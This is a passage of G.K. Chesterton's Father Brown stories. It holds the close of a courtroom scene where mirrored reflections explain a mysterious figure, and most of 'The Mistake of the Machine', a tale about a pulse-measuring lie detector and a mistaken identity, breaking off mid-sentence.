was also refreshingly lucid, +as he was on the committees. He had been calling on Miss Rome +at the theatre; he had met Captain Cutler there; they had been joined +for a short time by the accused, who had then returned to his +own dressing-room; they had then been joined by a Roman Catholic priest, +who asked for the deceased lady and said his name was Brown. +Miss Rome had then gone just outside the theatre to the entrance +of the passage, in order to point out to Captain Cutler a flower-shop +at which he was to buy her some more flowers; and the witness +had remained in the room, exchanging a few words with the priest. +He had then distinctly heard the deceased, having sent the Captain +on his errand, turn round laughing and run down the passage +towards its other end, where was the prisoner's dressing-room. +In idle curiosity as to the rapid movement of his friends, +he had strolled out to the head of the passage himself and looked down it +towards the prisoner's door. Did he see anything in the passage? +Yes; he saw something in the passage. + + Sir Walter Cowdray allowed an impressive interval, +during which the witness looked down, and for all his usual composure +seemed to have more than his usual pallor. Then the barrister said +in a lower voice, which seemed at once sympathetic and creepy: +"Did you see it distinctly?" + + Sir Wilson Seymour, however moved, had his excellent brains +in full working-order. "Very distinctly as regards its outline, +but quite indistinctly, indeed not at all, as regards the details +inside the outline. The passage is of such length that anyone in +the middle of it appears quite black against the light at the other end." +The witness lowered his steady eyes once more and added: +"I had noticed the fact before, when Captain Cutler first entered it." +There was another silence, and the judge leaned forward and made a note. + + "Well," said Sir Walter patiently, "what was the outline like? +Was it, for instance, like the figure of the murdered woman?" + + "Not in the least," answered Seymour quietly. + + "What did it look like to you?" + + "It looked to me," replied the witness, "like a tall man." + + Everyone in court kept his eyes riveted on his pen, +or his umbrella-handle, or his book, or his boots or whatever +he happened to be looking at. They seemed to be holding their eyes +away from the prisoner by main force; but they felt his figure in the dock, +and they felt it as gigantic. Tall as Bruno was to the eye, +he seemed to swell taller and taller when an eyes had been +torn away from him. + + Cowdray was resuming his seat with his solemn face, +smoothing his black silk robes, and white silk whiskers. +Sir Wilson was leaving the witness-box, after a few final particulars +to which there were many other witnesses, when the counsel for the defence +sprang up and stopped him. + + "I shall only detain you a moment," said Mr Butler, +who was a rustic-looking person with red eyebrows and an expression +of partial slumber. "Will you tell his lordship how you knew +it was a man?" + + A faint, refined smile seemed to pass over Seymour's features. +"I'm afraid it is the vulgar test of trousers," he said. +"When I saw daylight between the long legs I was sure it was a man, +after all." + + Butler's sleepy eyes opened as suddenly as some silent explosion. +"After all!" he repeated slowly. "So you did think at first +it was a woman?" + + Seymour looked troubled for the first time. "It is hardly +a point of fact," he said, "but if his lordship would like me +to answer for my impression, of course I shall do so. There was something +about the thing that was not exactly a woman and yet was not quite a man; +somehow the curves were different. And it had something that looked like +long hair." + + "Thank you," said Mr Butler, K.C., and sat down suddenly, +as if he had got what he wanted. + + Captain Cutler was a far less plausible and composed witness +than Sir Wilson, but his account of the opening incidents was +solidly the same. He described the return of Bruno to his dressing-room, +the dispatching of himself to buy a bunch of lilies-of-the-valley, +his return to the upper end of the passage, the thing he saw +in the passage, his suspicion of Seymour, and his struggle with Bruno. +But he could give little artistic assistance about the black figure +that he and Seymour had seen. Asked about its outline, he said he +was no art critic--with a somewhat too obvious sneer at Seymour. +Asked if it was a man or a woman, he said it looked more like a beast-- +with a too obvious snarl at the prisoner. But the man was plainly shaken +with sorrow and sincere anger, and Cowdray quickly excused him +from confirming facts that were already fairly clear. + + The defending counsel also was again brief in his cross-examination; +although (as was his custom) even in being brief, he seemed to take +a long time about it. "You used a rather remarkable expression," he said, +looking at Cutler sleepily. "What do you mean by saying that +it looked more like a beast than a man or a woman?" + + Cutler seemed seriously agitated. "Perhaps I oughtn't to have +said that," he said; "but when the brute has huge humped shoulders +like a chimpanzee, and bristles sticking out of its head like a pig--" + + Mr Butler cut short his curious impatience in the middle. +"Never mind whether its hair was like a pig's," he said, +"was it like a woman's?" + + "A woman's!" cried the soldier. "Great Scott, no!" + + "The last witness said it was," commented the counsel, +with unscrupulous swiftness. "And did the figure have any of those +serpentine and semi-feminine curves to which eloquent allusion +has been made? No? No feminine curves? The figure, if I understand you, +was rather heavy and square than otherwise?" + + "He may have been bending forward," said Cutler, in a hoarse +and rather faint voice. + + "Or again, he may not," said Mr Butler, and sat down suddenly +for the second time. + + The third, witness called by Sir Walter Cowdray was +the little Catholic clergyman, so little, compared with the others, +that his head seemed hardly to come above the box, so that it was like +cross-examining a child. But unfortunately Sir Walter had somehow +got it into his head (mostly by some ramifications of his family's religion) +that Father Brown was on the side of the prisoner, because the prisoner +was wicked and foreign and even partly black. Therefore he +took Father Brown up sharply whenever that proud pontiff tried +to explain anything; and told him to answer yes or no, and tell +the plain facts without any jesuitry. When Father Brown began, +in his simplicity, to say who he thought the man in the passage was, +the barrister told him that he did not want his theories. + + "A black shape was seen in the passage. And you say you saw +the black shape. Well, what shape was it?" + + Father Brown blinked as under rebuke; but he had long known +the literal nature of obedience. "The shape," he said, "was short +and thick, but had two sharp, black projections curved upwards +on each side of the head or top, rather like horns, and--" + + "Oh! the devil with horns, no doubt," ejaculated Cowdray, +sitting down in triumphant jocularity. "It was the devil come +to eat Protestants." + + "No," said the priest dispassionately; "I know who it was." + + Those in court had been wrought up to an irrational, +but real sense of some monstrosity. They had forgotten the figure +in the dock and thought only of the figure in the passage. +And the figure in the passage, described by three capable +and respectable men who had all seen it, was a shifting nightmare: +one called it a woman, and the other a beast, and the other a devil.... + + The judge was looking at Father Brown with level and piercing eyes. +"You are a most extraordinary witness," he said; "but there is something +about you that makes me think you are trying to tell the truth. +Well, who was the man you saw in the passage?" + + "He was myself," said Father Brown. + + Butler, K.C., sprang to his feet in an extraordinary stillness, +and said quite calmly: "Your lordship will allow me to cross-examine?" +And then, without stopping, he shot at Brown the apparently +disconnected question: "You have heard about this dagger; +you know the experts say the crime was committed with a short blade?" + + "A short blade," assented Brown, nodding solemnly like an owl, +"but a very long hilt." + + Before the audience could quite dismiss the idea that the priest +had really seen himself doing murder with a short dagger with a long hilt +(which seemed somehow to make it more horrible), he had himself +hurried on to explain. + + "I mean daggers aren't the only things with short blades. +Spears have short blades. And spears catch at the end of the steel +just like daggers, if they're that sort of fancy spear they had +in theatres; like the spear poor old Parkinson killed his wife with, +just when she'd sent for me to settle their family troubles-- +and I came just too late, God forgive me! But he died penitent-- +he just died of being penitent. He couldn't bear what he'd done." + + The general impression in court was that the little priest, +who was gobbling away, had literally gone mad in the box. +But the judge still looked at him with bright and steady eyes of interest; +and the counsel for the defence went on with his questions unperturbed. + + "If Parkinson did it with that pantomime spear," said Butler, +"he must have thrust from four yards away. How do you account for +signs of struggle, like the dress dragged off the shoulder?" He had +slipped into treating his mere witness as an expert; but no one +noticed it now. + + "The poor lady's dress was torn," said the witness, +"because it was caught in a panel that slid to just behind her. +She struggled to free herself, and as she did so Parkinson came out +of the prisoner's room and lunged with the spear." + + "A panel?" repeated the barrister in a curious voice. + + "It was a looking-glass on the other side," explained Father Brown. +"When I was in the dressing-room I noticed that some of them +could probably be slid out into the passage." + + There was another vast and unnatural silence, and this time +it was the judge who spoke. "So you really mean that when you +looked down that passage, the man you saw was yourself--in a mirror?" + + "Yes, my lord; that was what I was trying to say," said Brown, +"but they asked me for the shape; and our hats have corners +just like horns, and so I--" + + The judge leaned forward, his old eyes yet more brilliant, +and said in specially distinct tones: "Do you really mean to say that +when Sir Wilson Seymour saw that wild what-you-call-him with curves +and a woman's hair and a man's trousers, what he saw was +Sir Wilson Seymour?" + + "Yes, my lord," said Father Brown. + + "And you mean to say that when Captain Cutler saw that chimpanzee +with humped shoulders and hog's bristles, he simply saw himself?" + + "Yes, my lord." + + The judge leaned back in his chair with a luxuriance in which +it was hard to separate the cynicism and the admiration. +"And can you tell us why," he asked, "you should know your own figure +in a looking-glass, when two such distinguished men don't?" + + Father Brown blinked even more painfully than before; +then he stammered: "Really, my lord, I don't know unless it's because +I don't look at it so often." + + + + + FIVE + + + The Mistake of the Machine + + +FLAMBEAU and his friend the priest were sitting in the Temple Gardens +about sunset; and their neighbourhood or some such accidental influence +had turned their talk to matters of legal process. From the problem +of the licence in cross-examination, their talk strayed to Roman and +mediaeval torture, to the examining magistrate in France and +the Third Degree in America. + + "I've been reading," said Flambeau, "of this new psychometric method +they talk about so much, especially in America. You know what I mean; +they put a pulsometer on a man's wrist and judge by how his heart goes +at the pronunciation of certain words. What do you think of it?" + + "I think it very interesting," replied Father Brown; +"it reminds me of that interesting idea in the Dark Ages that blood +would flow from a corpse if the murderer touched it." + + "Do you really mean," demanded his friend, "that you think +the two methods equally valuable?" + + "I think them equally valueless," replied Brown. "Blood flows, +fast or slow, in dead folk or living, for so many more million reasons +than we can ever know. Blood will have to flow very funnily; +blood will have to flow up the Matterhorn, before I will take it +as a sign that I am to shed it." + + "The method," remarked the other, "has been guaranteed +by some of the greatest American men of science." + + "What sentimentalists men of science are!" exclaimed Father Brown, +"and how much more sentimental must American men of science be! +Who but a Yankee would think of proving anything from heart-throbs? +Why, they must be as sentimental as a man who thinks a woman +is in love with him if she blushes. That's a test from +the circulation of the blood, discovered by the immortal Harvey; +and a jolly rotten test, too." + + "But surely," insisted Flambeau, "it might point pretty straight +at something or other." + + "There's a disadvantage in a stick pointing straight," +answered the other. "What is it? Why, the other end of the stick +always points the opposite way. It depends whether you +get hold of the stick by the right end. I saw the thing done once +and I've never believed in it since." And he proceeded to tell +the story of his disillusionment. + + It happened nearly twenty years before, when he was chaplain +to his co-religionists in a prison in Chicago--where the Irish population +displayed a capacity both for crime and penitence which kept him +tolerably busy. The official second-in-command under the Governor +was an ex-detective named Greywood Usher, a cadaverous, careful-spoken +Yankee philosopher, occasionally varying a very rigid visage +with an odd apologetic grimace. He liked Father Brown in +a slightly patronizing way; and Father Brown liked him, +though he heartily disliked his theories. His theories were +extremely complicated and were held with extreme simplicity. + + One evening he had sent for the priest, who, according to his custom, +took a seat in silence at a table piled and littered with papers, +and waited. The official selected from the papers a scrap of +newspaper cutting, which he handed across to the cleric, +who read it gravely. It appeared to be an extract from one of +the pinkest of American Society papers, and ran as follows: + + "Society's brightest widower is once more on the Freak Dinner stunt. +All our exclusive citizens will recall the Perambulator Parade Dinner, +in which Last-Trick Todd, at his palatial home at Pilgrim's Pond, +caused so many of our prominent debutantes to look even younger +than their years. Equally elegant and more miscellaneous and +large-hearted in social outlook was Last-Trick's show the year previous, +the popular Cannibal Crush Lunch, at which the confections handed round +were sarcastically moulded in the forms of human arms and legs, +and during which more than one of our gayest mental gymnasts was heard +offering to eat his partner. The witticism which will inspire +this evening is as yet in Mr Todd's pretty reticent intellect, +or locked in the jewelled bosoms of our city's gayest leaders; +but there is talk of a pretty parody of the simple manners and customs +at the other end of Society's scale. This would be all the more telling, +as hospitable Todd is entertaining in Lord Falconroy, the famous traveller, +a true-blooded aristocrat fresh from England's oak-groves. +Lord Falconroy's travels began before his ancient feudal title +was resurrected, he was in the Republic in his youth, and fashion murmurs +a sly reason for his return. Miss Etta Todd is one of our +deep-souled New Yorkers, and comes into an income of nearly +twelve hundred million dollars." + + "Well," asked Usher, "does that interest you?" + + "Why, words rather fail me," answered Father Brown. +"I cannot think at this moment of anything in this world that would +interest me less. And, unless the just anger of the Republic is +at last going to electrocute journalists for writing like that, +I don't quite see why it should interest you either." + + "Ah!" said Mr Usher dryly, and handing across another +scrap of newspaper. "Well, does that interest you?" + + The paragraph was headed "Savage Murder of a Warder. +Convict Escapes," and ran: "Just before dawn this morning +a shout for help was heard in the Convict Settlement at Sequah +in this State. The authorities, hurrying in the direction of the cry, +found the corpse of the warder who patrols the top of the north wall +of the prison, the steepest and most difficult exit, for which one man +has always been found sufficient. The unfortunate officer had, +however, been hurled from the high wall, his brains beaten out +as with a club, and his gun was missing. Further inquiries showed that +one of the cells was empty; it had been occupied by a rather sullen ruffian +giving his name as Oscar Rian. He was only temporarily detained +for some comparatively trivial assault; but he gave everyone the impression +of a man with a black past and a dangerous future. Finally, +when daylight bad fully revealed the scene of murder, it was found +that he had written on the wall above the body a fragmentary sentence, +apparently with a finger dipped in blood: `This was self-defence and +he had the gun. I meant no harm to him or any man but one. +I am keeping the bullet for Pilgrim's Pond--O.R.' A man must have used +most fiendish treachery or most savage and amazing bodily daring +to have stormed such a wall in spite of an armed man." + + "Well, the literary style is somewhat improved," admitted the priest +cheerfully, "but still I don't see what I can do for you. +I should cut a poor figure, with my short legs, running about this State +after an athletic assassin of that sort. I doubt whether +anybody could find him. The convict settlement at Sequah +is thirty miles from here; the country between is wild and tangled enough, +and the country beyond, where he will surely have the sense to go, +is a perfect no-man's land tumbling away to the prairies. +He may be in any hole or up any tree." + + "He isn't in any hole," said the governor; "he isn't up any tree." + + "Why, how do you know?" asked Father Brown, blinking. + + "Would you like to speak to him?" inquired Usher. + + Father Brown opened his innocent eyes wide. "He is here?" +he exclaimed. "Why, how did your men get hold of him?" + + "I got hold of him myself," drawled the American, rising and +lazily stretching his lanky legs before the fire. "I got hold of him +with the crooked end of a walking-stick. Don't look so surprised. +I really did. You know I sometimes take a turn in the country lanes +outside this dismal place; well, I was walking early this evening +up a steep lane with dark hedges and grey-looking ploughed fields +on both sides; and a young moon was up and silvering the road. +By the light of it I saw a man running across the field towards the road; +running with his body bent and at a good mile-race trot. +He appeared to be much exhausted; but when he came to the thick black hedge +he went through it as if it were made of spiders' webs; --or rather +(for I heard the strong branches breaking and snapping like bayonets) +as if he himself were made of stone. In the instant in which +he appeared up against the moon, crossing the road, I slung my hooked cane +at his legs, tripping him and bringing him down. Then I blew my whistle +long and loud, and our fellows came running up to secure him." + + "It would have been rather awkward," remarked Brown, +"if you had found he was a popular athlete practising a mile race." + + "He was not," said Usher grimly. "We soon found out who he was; +but I had guessed it with the first glint of the moon on him." + + "You thought it was the runaway convict," observed the priest simply, +"because you had read in the newspaper cutting that morning that +a convict had run away." + + "I had somewhat better grounds," replied the governor coolly. +"I pass over the first as too simple to be emphasized-- +I mean that fashionable athletes do not run across ploughed fields +or scratch their eyes out in bramble hedges. Nor do they run +all doubled up like a crouching dog. There were more decisive details +to a fairly well-trained eye. The man was clad in coarse +and ragged clothes, but they were something more than merely +coarse and ragged. They were so ill-fitting as to be quite grotesque; +even as he appeared in black outline against the moonrise, +the coat-collar in which his head was buried made him look +like a hunchback, and the long loose sleeves looked as if he had no hands. +It at once occurred to me that he had somehow managed to change +his convict clothes for some confederate's clothes which did not fit him. +Second, there was a pretty stiff wind against which he was running; +so that I must have seen the streaky look of blowing hair, if the hair +had not been very short. Then I remembered that beyond these +ploughed fields he was crossing lay Pilgrim's Pond, for which +(you will remember) the convict was keeping his bullet; +and I sent my walking-stick flying." + + "A brilliant piece of rapid deduction," said Father Brown; +"but had he got a gun?" + + As Usher stopped abruptly in his walk the priest added apologetically: +"I've been told a bullet is not half so useful without it." + + "He had no gun," said the other gravely; "but that was doubtless +due to some very natural mischance or change of plans. Probably the +same policy that made him change the clothes made him drop the gun; +he began to repent the coat he had left behind him in the blood +of his victim." + + "Well, that is possible enough," answered the priest. + + "And it's hardly worth speculating on," said Usher, +turning to some other papers, "for we know it's the man by this time." + + His clerical friend asked faintly: "But how?" And Greywood Usher +threw down the newspapers and took up the two press-cuttings again. + + "Well, since you are so obstinate," he said, "let's begin +at the beginning. You will notice that these two cuttings have only +one thing in common, which is the mention of Pilgrim's Pond, +the estate, as you know, of the millionaire Ireton Todd. +You also know that he is a remarkable character; one of those +that rose on stepping-stones--" + + "Of our dead selves to higher things," assented his companion. +"Yes; I know that. Petroleum, I think." + + "Anyhow," said Usher, "Last-Trick Todd counts for a great deal +in this rum affair." + + He stretched himself once more before the fire and continued talking +in his expansive, radiantly explanatory style. + + "To begin with, on the face of it, there is no mystery here at all. +It is not mysterious, it is not even odd, that a jailbird should +take his gun to Pilgrim's Pond. Our people aren't like the English, +who will forgive a man for being rich if he throws away money +on hospitals or horses. Last-Trick Todd has made himself big +by his own considerable abilities; and there's no doubt that +many of those on whom he has shown his abilities would like to +show theirs on him with a shot-gun. Todd might easily get dropped +by some man he'd never even heard of; some labourer he'd locked out, +or some clerk in a business he'd busted. Last-Trick is a man +of mental endowments and a high public character; but in this country +the relations of employers and employed are considerably strained. + + "That's how the whole thing looks supposing this Rian +made for Pilgrim's Pond to kill Todd. So it looked to me, +till another little discovery woke up what I have of the detective in me. +When I had my prisoner safe, I picked up my cane again and strolled down +the two or three turns of country road that brought me to one of +the side entrances of Todd's grounds, the one nearest to the pool +or lake after which the place is named. It was some two hours ago, +about seven by this time; the moonlight was more luminous, +and I could see the long white streaks of it lying on the mysterious mere +with its grey, greasy, half-liquid shores in which they say +our fathers used to make witches walk until they sank. +I'd forgotten the exact tale; but you know the place I mean; +it lies north of Todd's house towards the wilderness, and has two queer +wrinkled trees, so dismal that they look more like huge fungoids +than decent foliage. As I stood peering at this misty pool, +I fancied I saw the faint figure of a man moving from the house towards it, +but it was all too dim and distant for one to be certain of the fact, +and still less of the details. Besides, my attention was very sharply +arrested by something much closer. I crouched behind the fence +which ran not more than two hundred yards from one wing of +the great mansion, and which was fortunately split in places, +as if specially for the application of a cautious eye. A door had opened +in the dark bulk of the left wing, and a figure appeared black against +the illuminated interior--a muffled figure bending forward, +evidently peering out into the night. It closed the door behind it, +and I saw it was carrying a lantern, which threw a patch of imperfect light +on the dress and figure of the wearer. It seemed to be +the figure of a woman, wrapped up in a ragged cloak and +evidently disguised to avoid notice; there was something very strange +both about the rags and the furtiveness in a person coming out of +those rooms lined with gold. She took cautiously the curved garden path +which brought her within half a hundred yards of me--, then she stood up +for an instant on the terrace of turf that looks towards the slimy lake, +and holding her flaming lantern above her head she deliberately swung it +three times to and fro as for a signal. As she swung it the second time +a flicker of its light fell for a moment on her own face, +a face that I knew. She was unnaturally pale, and her head was bundled +in her borrowed plebeian shawl; but I am certain it was Etta Todd, +the millionaire's daughter. + + "She retraced her steps in equal secrecy and the door +closed behind her again. I was about to climb the fence and follow, +when I realized that the detective fever that had lured me +into the adventure was rather undignified; and that in a more +authoritative capacity I already held all the cards in my hand. +I was just turning away when a new noise broke on the night. +A window was thrown up in one of the upper floors, but just round +the corner of the house so that I could not see it; and a voice +of terrible distinctness was heard shouting across the dark garden +to know where Lord Falconroy was, for he was missing from every room +in the house. There was no mistaking that voice. I have +heard it on many a political platform or meeting of directors; +it was Ireton Todd himself. Some of the others seemed to have gone +to the lower windows or on to the steps, and were calling up to him +that Falconroy had gone for a stroll down to the Pilgrim's Pond +an hour before, and could not be traced since. Then Todd cried +`Mighty Murder!' and shut down the window violently; and I could hear him +plunging down the stairs inside. Repossessing myself of my former +and wiser purpose, I whipped out of the way of the general search +that must follow; and returned here not later than eight o'clock. + + "I now ask you to recall that little Society paragraph +which seemed to you so painfully lacking in interest. If the convict +was not keeping the shot for Todd, as he evidently wasn't, +it is most likely that he was keeping it for Lord Falconroy; +and it looks as if he had delivered the goods. No more handy place +to shoot a man than in the curious geological surroundings of that pool, +where a body thrown down would sink through thick slime to a depth +practically unknown. Let us suppose, then, that our friend +with the cropped hair came to kill Falconroy and not Todd. +But, as I have pointed out, there are many reasons why people in America +might want to kill Todd. There is no reason why anybody in America +should want to kill an English lord newly landed, except for the one reason +mentioned in the pink paper--that the lord is paying his attentions +to the millionaire's daughter. Our crop-haired friend, +despite his ill-fitting clothes, must be an aspiring lover. + + "I know the notion will seem to you jarring and even comic; +but that's because you are English. It sounds to you like saying +the Archbishop of Canterbury's daughter will be married in +St George's, Hanover Square, to a crossing-sweeper on ticket-of-leave. +You don't do justice to the climbing and aspiring power of our +more remarkable citizens. You see a good-looking grey-haired man +in evening-dress with a sort of authority about him, you know he is +a pillar of the State, and you fancy he had a father. You are in error. +You do not realize that a comparatively few years ago he may have been +in a tenement or (quite likely) in a jail. You don't allow for our +national buoyancy and uplift. Many of our most influential citizens +have not only risen recently, but risen comparatively late in life. +Todd's daughter was fully eighteen when her father first made his pile; +so there isn't really anything impossible in her having a hanger-on +in low life; or even in her hanging on to him, as I think +she must be doing, to judge by the lantern business. If so, +the hand that held the lantern may not be unconnected with the hand +that held the gun. This case, sir, will make a noise." + + "Well," said the priest patiently, "and what did you do next?" + + "I reckon you'll be shocked," replied Greywood Usher, +"as I know you don't cotton to the march of science in these matters. +I am given a good deal of discretion here, and perhaps take a little more +than I'm given; and I thought it was an excellent opportunity to test +that Psychometric Machine I told you about. Now, in my opinion, +that machine can't lie." + + "No machine can lie," said Father Brown; "nor can it tell the truth." + + "It did in this case, as I'll show you," went on Usher positively. +"I sat the man in the ill-fitting clothes in a comfortable chair, +and simply wrote words on a blackboard; and the machine simply +recorded the variations of his pulse; and I simply observed his manner. +The trick is to introduce some word connected with the supposed crime +in a list of words connected with something quite different, +yet a list in which it occurs quite naturally. Thus I wrote `heron' and +`eagle' and `owl', and when I wrote `falcon' he was tremendously agitated; +and when I began to make an `r' at the end of the word, +that machine just bounded. Who else in this republic has any reason +to jump at the name of a newly-arrived Englishman like Falconroy +except the man who's shot him? Isn't that better evidence than +a lot of gabble from witnesses--if the evidence of a reliable machine?" + + "You always forget," observed his companion, "that the reliable machine +always has to be worked by an unreliable machine." + + "Why, what do you mean?" asked the detective. + + "I mean Man," said Father Brown, "the most unreliable machine +I know of. I don't want to be rude; and I don't think you will consider +Man to be an offensive or inaccurate description of yourself. +You say you observed his manner; but how do you know you observed it right? +You say the words have to come in a natural way; but how do you know +that you did it naturally? How do you know, if you come to that, +that he did not observe your manner? Who is to prove that you were not +tremendously agitated? There was no machine tied on to your pulse." + + "I tell you," cried the American in the utmost excitement, +"I was as cool as a cucumber." + + "Criminals also can be as cool as cucumbers," said Brown +with a smile. "And almost as cool as you." + + "Well, this one wasn't," said Usher, throwing the papers about. +"Oh, you make me tired!" + + "I'm sorry," said the other. "I only point out what seems +a reasonable possibility. If you could tell by his manner when +the word that might hang him had come, why shouldn't he tell +from your manner that the word that might hang him was coming? +I should ask for more than words myself before I hanged anybody." + + Usher smote the table and rose in a sort of angry triumph. + + "And that," he cried, "is just what I'm going to give you. +I tried the machine first just in order to test the thing in other ways +afterwards and the machine, sir, is right." + + He paused a moment and resumed with less excitement. +"I rather want to insist, if it comes to that, that so far +I had very little to go on except the scientific experiment. +There was really nothing against the man at all. His clothes were +ill-fitting, as I've said, but they were rather better, if anything, +than those of the submerged class to which he evidently belonged. +Moreover, under all the stains of his plunging through ploughed fields +or bursting through dusty hedges, the man was comparatively clean. +This might mean, of course, that he had only just broken prison; +but it reminded me more of the desperate decency of the comparatively +respectable poor. His demeanour was, I am bound to confess, +quite in accordance with theirs. He was silent and dignified as they are; +he seemed to have a big, but buried, grievance, as they do. +He professed total ignorance of the crime and the whole question; +and showed nothing but a sullen impatience for something sensible +that might come to take him out of his meaningless scrape. +He asked me more than once if he could telephone for a lawyer +who had helped him a long time ago in a trade dispute, and in every sense +acted as you would expect an innocent man to act. There was nothing +against him in the world except that little finger on the dial +that pointed to the change of his pulse. + + "Then, sir, the machine was on its trial; and the machine was right. +By the time I came with him out of the private room into the vestibule +where all sorts of other people were awaiting examination, +I think he had already more or less made up his mind to clear things up +by something like a confession. He turned to me and began to say +in a low voice: `Oh, I can't stick this any more. If you must know +all about me--' + + "At the same instant one of the poor women sitting on the long bench +stood up, screaming aloud and pointing at him with her finger. +I have never in my life heard anything more demoniacally distinct. +Her lean finger seemed to pick him out as if it were a pea-shooter. +Though the word was a mere howl, every syllable was as clear +as a separate stroke on the clock. + + "`Drugger Davis!' she shouted. `They've got Drugger Davis!' + + "Among the wretched women, mostly thieves and streetwalkers, +twenty faces were turned, gaping with glee and hate. If I had never +heard the words, I should have known by the very shock upon his features +that the so-called Oscar Rian had heard his real name. But I'm not quite +so ignorant, you may be surprised to hear. Drugger Davis was +one of the most terrible and depraved criminals that ever +baffled our police. It is certain he had done murder more than once +long before his last exploit with the warder. But he was never entirely +fixed for it, curiously enough because he did it in the same manner +as those milder--or meaner--crimes for which he was fixed pretty often. +He was a handsome, well-bred-looking brute, as he still is, to some extent; +and he used mostly to go about with barmaids or shop-girls and do them +out of their money. Very often, though, he went a good deal farther; +and they were found drugged with cigarettes or chocolates and +their whole property missing. Then came one case where the girl +was found dead; but deliberation could not quite be proved, and, +what was more practical still, the criminal could not be found. +I heard a rumour of his having reappeared somewhere in the opposite +character this time, lending money instead of borrowing it; +but still to such poor widows as he might personally fascinate, +but still with the same bad result for them. Well, there is +your innocent man, and there is his innocent record. Even, since then, +four criminals and three warders have identified him and confirmed the story. +Now what have you got to say to my poor little machine after that? +Hasn't the machine done for him? Or do you prefer to say that the woman +and I have done for him?" + + "As to what you've done for him," replied Father Brown, +rising and shaking himself in a floppy way, "you've saved him from +the electrical chair. I don't think they can kill Drugger Davis +on that old vague story of the poison; and as for the convict +who killed the warder, I suppose it's obvious that you haven't got him. +Mr Davis is innocent of that crime, at any rate." + + "What do you mean?" demanded the other. "Why should he be +innocent of that crime?" + + "Why, bless us all!" cried the small man in one of his rare +moments of animation, "why, because he's guilty of the other crimes! +I don't know what you people are made of. You seem to think that +all sins are kept together in a bag. You talk as if a miser on Monday +were always a spendthrift on Tuesday. You tell me this man you have here +spent weeks and months wheedling needy women out of small sums of money; +that he used a drug at the best, and a poison at the worst; +that he turned up afterwards as the lowest kind of moneylender, +and cheated most poor people in the same patient and pacific style. +Let it be granted--let us admit, for the sake of argument, +that he did all this. If that is so, I will tell you what he didn't do. +He didn't storm a spiked wall against a man with a loaded gun. +He didn't write on the wall with his own hand, to say he had done it. +He didn't stop to state that his justification was self-defence. +He didn't explain that he had no quarrel with the poor warder. +He didn't name the house of the rich man to which he was going with the gun. +He didn't write his own, initials in a man's blood. Saints alive! +Can't you see the whole character is different, in good and evil? +Why, you don't seem to be like I am a bit. One would think +you'd never had any vices of your own." + + The amazed American had already parted his lips in protest +when the door of his private and official room was hammered +and rattled in an unceremonious way to which he was totally unaccustomed. + + The door flew open. The moment before Greywood Usher had been +coming to the conclusion that Father Brown might possibly be mad. +The moment after he began to think he was mad himself. +There burst and fell into his private room a man in the filthiest rags, +with a greasy squash hat still askew on his head, and a shabby green shade +shoved up from one of his eyes, both of which were glaring like a tiger's. +The rest of his face was almost undiscoverable, being masked with +a matted beard and whiskers through which the nose could barely +thrust itself, and further buried in a squalid red scarf or handkerchief. +Mr Usher prided himself on having seen most of the roughest specimens +in the State, but he thought he had never seen such a baboon dressed +as a scarecrow as this. But, above all, he had never in all his +placid scientific existence heard a man like that speak to him first. + + "See here, old man Usher," shouted the being in the red handkerchief, +"I'm getting tired. Don't you try any of your hide-and-seek on me; +I don't get fooled any. Leave go of my guests, and I'll let up +on the fancy clockwork. Keep him here for a split instant and you'll +feel pretty mean. I reckon I'm not a man with no pull." + + The eminent Usher was regarding the bellowing monster +with an amazement which had dried up all other sentiments. +The mere shock to his eyes had rendered his ears, almost useless. +At last he rang a bell with a hand of violence. While the bell was +still strong and pealing, the voice of Father Brown fell soft but distinct. + + "I have a suggestion to make," he said, "but it seems +a little confusing. I don't know this gentleman--but-- +but I think I know him. Now, you know him--you know him quite well-- +but you don't know him--naturally. Sounds paradoxical, I know." + + "I reckon the Cosmos is cracked," said Usher, and fell asprawl +in his round office chair. + + "Now, see here," vociferated the stranger, striking the table, +but speaking in a voice that was all the more mysterious +because it was comparatively mild and rational though still resounding. +"I won't let you in. I want--" + + "Who in hell are you?" yelled Usher, suddenly sitting up straight. + + "I think the gentleman's name is Todd," said the priest. + + Then he picked up the pink slip of newspaper. + + "I fear you don't read the Society papers properly," he said, +and began to read out in a monotonous voice, "`Or locked in +the jewelled bosoms of our city's gayest leaders; but there is talk +of a pretty parody of the manners and customs of the other end +of Society's scale.' There's been a big Slum Dinner up at +Pilgrim's Pond tonight; and a man, one of the guests, disappeared. +Mr Ireton Todd is a good host, and has tracked him here, +without even waiting to take off his fancy-dress." + + "What man do you mean?" + + "I mean the man with comically ill-fitting clothes you saw +running across the ploughed field. Hadn't you better go and +investigate him? He will be rather impatient to get back to his champagne, +from which he ran away in such a hurry, when the convict with the gun +hove in sight." + + "Do you seriously mean--" began the official. + + "Why, look here, Mr Usher," said Father Brown quietly, +"you said the machine couldn't make a mistake; and in one sense it didn't. +But the other machine did; the machine that worked it. +You assumed that the man in rags jumped at the name of Lord Falconroy, +because he was Lord Falconroy's murderer. He jumped at the name +of Lord Falconroy because he is Lord Falconroy." + + "Then why the blazes didn't he say so?" demanded the staring Usher. + + "He felt his plight and recent panic were hardly patrician," +replied the priest, "so he tried to keep the name back at first. +But he was just going to tell it you, when"--and Father Brown looked +down at his boots--"when a woman found another name for him." + + "But you can't be so mad as to say," said Greywood Usher, +very white, "that Lord Falconroy was Drugger Davis." + + The priest looked at him very earnestly, but with a baffling +and undecipherable face. + + "I am not saying anything about it," he said. "I leave +all the rest to you. Your pink paper says that the title +was recently revived for him; but those papers are very unreliable. +It says he was in the States in youth; but the whole story seems +very strange. Davis and Falconroy are both pretty considerable cowards, +but so are lots of other men. I would not hang a dog on my own opinion +about this. But I think," he went on softly and reflectively, +"I think you Americans are too modest. I think you idealize +the English aristocracy--even in assuming it to be so aristocratic. +You see a good-looking Englishman in evening-dress; you know +he's in the House of Lords; and you fancy he has a father. +You don't allow for our national buoyancy and uplift. Many of our +most influential noblemen have not only risen recently, but--" + + "Oh, stop it!" cried Greywood Usher, wringing one lean hand +in impatience against a shade of irony in the other's face. + + "Don't stay talking to this lunatic!" cried Todd brutally. +"Take me to my friend." + + Next morning Father Brown appeared with the same demure expression, +carrying yet another piece of pink newspaper. + + "I'm afraid you neglect the fashionable press rather," he said, +"but this cutting may interest you." + + Usher read the headlines, "Last-Trick's Strayed Revellers: +Mirthful Incident near Pilgrim's Pond." The paragraph went on: +"A laughable occurrence took place outside Wilkinson's Motor Garage +last night. A policeman on duty had his attention drawn by larrikins +to a man in prison dress who was stepping with considerable coolness +into the steering-seat of a pretty high-toned Panhard; he was accompanied +by a girl wrapped in a ragged shawl. On the police interfering, +the young woman threw back the shawl, and all recognized +Millionaire 